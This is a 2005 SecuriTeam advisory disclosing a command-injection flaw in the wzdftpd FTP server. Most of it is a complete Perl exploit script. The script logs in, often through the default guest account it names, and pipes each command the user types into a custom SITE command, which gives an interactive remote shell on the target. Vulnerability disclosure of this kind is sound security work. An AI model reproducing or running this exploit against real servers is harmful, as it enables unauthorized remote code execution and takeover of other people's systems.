[EXPL] Wzdftpd Code Execution (Unfiltered Pipe in Popen)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/26/05

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Date: 26 Sep 2005 12:58:22 +0200

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      Wzdftpd Code Execution (Unfiltered Pipe in Popen)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.wzdftpd.net/> Wzdftpd is a "Portable, modular and efficient
    ftp server, supporting SSL, winsock, multithreaded, modules ,externals
    scripts. unix-like permissions+acls, virtual users/groups, security,
    speed, bandwith limitation (user,group,global), group admins, per command
    auth."

    Lack of proper input validation allow attackers to execute arbitrary code
    using the wzdftpd server.

    DETAILS

    Exploit:
    ######################################################
    # 0day0day0day0day0day0day0day
    # -------------------------------
    # wzdftpd remote exploit by kcope
    # nice call to popen(3) on custom
    # site commands...
    #
    # August 2005
    # confidential! keep private!
    # -------------------------------
    # 0day0day0day0day0day0day0day
    #
    # .___ _____ __ .___
    #__ _ __________ __| _// ____\/ |_______ __| _/
    #\ \/ \/ /\___ // __ |\ __\\ __\____ \ / __ |
    # \ / / // /_/ | | | | | | |_> > /_/ |
    # \/\_/ /_____ \____ | |__| |__| | __/\____ |
    # \/ \/ |__| \/
    #
    #__ _ _______ _______ ____ ________
    #\ \/ \/ /\__ \\_ __ \_/ __ \\___ /
    # \ / / __ \| | \/\ ___/ / /
    # \/\_/ (____ /__| \___ >_____ \
    # \/ \/ \/ VER1
    ######################################################
    use Net::FTP;

    sub usage
    {
      print "usage: wzdftpdwarez.pl remote_host remote_port user pass
    custom_site_command\n" .
            "default guest account for wzdftpd is username/password:
    guest/%\n";
    }

    print " wzdftpd remote exploit by kcope August 2005 confidential! keep
    private! ";
    if ($#ARGV < 4) {
       usage();
       exit();
    }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $user = $ARGV[2];
    $pass = $ARGV[3];
    $sitecmd = $ARGV[4];
    $ftp = Net::FTP->new(Host => $host, Port => $port, Debug => 0) or die
    "Cannot connect to $host: $@";
    $ftp->login($user, $pass) or die "Cannot login ", $ftp->message;

    print "Now you can type commands, hopefully as r00t!\n";

    while(1) {
       print "!\$%&#>";
       $cmd=<stdin>;
       $ftp->site($sitecmd, "|$cmd;");
       print $ftp->message();
    }

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kingcope@gmx.net> kcope.

    ========================================

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